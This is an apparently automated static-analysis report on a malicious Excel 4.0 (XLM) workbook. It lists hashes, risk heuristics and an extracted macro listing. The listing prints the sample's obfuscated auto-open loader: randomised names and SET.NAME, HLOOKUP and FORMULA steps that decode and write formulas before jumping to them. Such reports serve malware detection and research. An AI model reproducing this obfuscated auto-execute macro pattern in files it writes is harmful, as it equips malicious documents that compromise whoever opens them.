Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ab81b659fcd4f3fc…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:47:05 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 43ad239ddbf3e2a3845f097c0e593b50 SHA-1: b3bde1e3b6375ca7eefeff3047aa5e4de36e1590 SHA-256: ab81b659fcd4f3fcf0e4495ba315c7f7195a69158bffce30441e88824daad18f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6495 bytes
SHA-256: d078ba490a7a0906012611230214f41c8f12704146dce2d8242ccad20d70b7a2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  sJkew
' 0018     25 LABEL : Cell Value, String Constant - AaNiEmXxAp len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F175 
' 0018     21 LABEL : Cell Value, String Constant - aVZfiP len=0 
' 0018     20 LABEL : Cell Value, String Constant - bFXIQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - hdmcPcYcWJS len=0 
' 0018     21 LABEL : Cell Value, String Constant - ICNQnc len=0 
' 0018     26 LABEL : Cell Value, String Constant - iLvPyHWQGSD len=0 
' 0018     27 LABEL : Cell Value, String Constant - IyKkVOHmgOke len=0 
' 0018     26 LABEL : Cell Value, String Constant - jAYzeZKIqRu len=0 
' 0018     22 LABEL : Cell Value, String Constant - KBbypfx len=0 
' 0018     20 LABEL : Cell Value, String Constant - ktwtN len=0 
' 0018     24 LABEL : Cell Value, String Constant - lknzymjJq len=0 
' 0018     20 LABEL : Cell Value, String Constant - mHXsP len=0 
' 0018     21 LABEL : Cell Value, String Constant - MJAnZh len=0 
' 0018     26 LABEL : Cell Value, String Constant - osXBjSiKKLI len=0 
' 0018     20 LABEL : Cell Value, String Constant - pcfmm len=0 
' 0018     22 LABEL : Cell Value, String Constant - pJKsaKm len=0 
' 0018     25 LABEL : Cell Value, String Constant - RfnoDdSFMK len=0 
' 0018     25 LABEL : Cell Value, String Constant - wQGrhmsvjm len=0 
' 0018     22 LABEL : Cell Value, String Constant - xXhXakE len=0 
' 0018     23 LABEL : Cell Value, String Constant - yiWoKLZH len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  sJkew,F83,"SET.NAME("jAYzeZKIqRu",VALUE("0"))",""
'  sJkew,F86,"SET.NAME("lknzymjJq",jAYzeZKIqRu)",""
'  sJkew,F88,"SET.NAME("RfnoDdSFMK",jAYzeZKIqRu)",""
'  sJkew,F93,"SET.NAME("mHXsP",COUNTA(IyKkVOHmgOke))",""
'  sJkew,F95,"SET.NAME("osXBjSiKKLI",COUNTA(AaNiEmXxAp))",""
'  sJkew,F99,[],""
'  sJkew,F103,"SET.NAME("aVZfiP","")",""
'  sJkew,F107,"lknzymjJq",""
'  sJkew,F109,"SET.NAME("pcfmm",HLOOKUP("*",IyKkVOHmgOke,lknzymjJq,FALSE))",""
'  sJkew,F114,"ICNQnc",""
'  sJkew,F116,"SET.NAME("hdmcPcYcWJS",jAYzeZKIqRu)",""
'  sJkew,F121,[],""
'  sJkew,F125,"hdmcPcYcWJS",""
'  sJkew,F127,"iLvPyHWQGSD",""
'  sJkew,F130,"pJKsaKm",""
'  sJkew,F133,"MJAnZh",""
'  sJkew,F138,"SET.NAME("xXhXakE",VALUE(HLOOKUP("*",AaNiEmXxAp,MJAnZh,FALSE)))",""
'  sJkew,F142,"bFXIQ",""
'  sJkew,F145,"aVZfiP",""
'  sJkew,F150,"RfnoDdSFMK",""
'  sJkew,F155,NEXT(),""
'  sJkew,F157,"yiWoKLZH",""
'  sJkew,F162,"SET.NAME("f",INT(T(FORMULA(T(aVZfiP)&"",""&T(yiWoKLZH)))))",""
'  sJkew,F164,"KBbypfx",""
'  sJkew,F168,NEXT(),""
'  sJkew,F172,RETURN(),""
'  sJkew,F201,"SET.NAME("ktwtN",F83)",""
'  sJkew,F205,"IyKkVOHmgOke",""
'  sJkew,F210,"SET.NAME("AaNiEmXxAp",R73C11)",""
'  sJkew,F212,"SET.NAME("KBbypfx",220)",""
'  sJkew,F216,"SET.NAME("wQGrhmsvjm",6)",""
'  sJkew,F219,ktwtN(),""
'  sJkew,F220,HALT(),""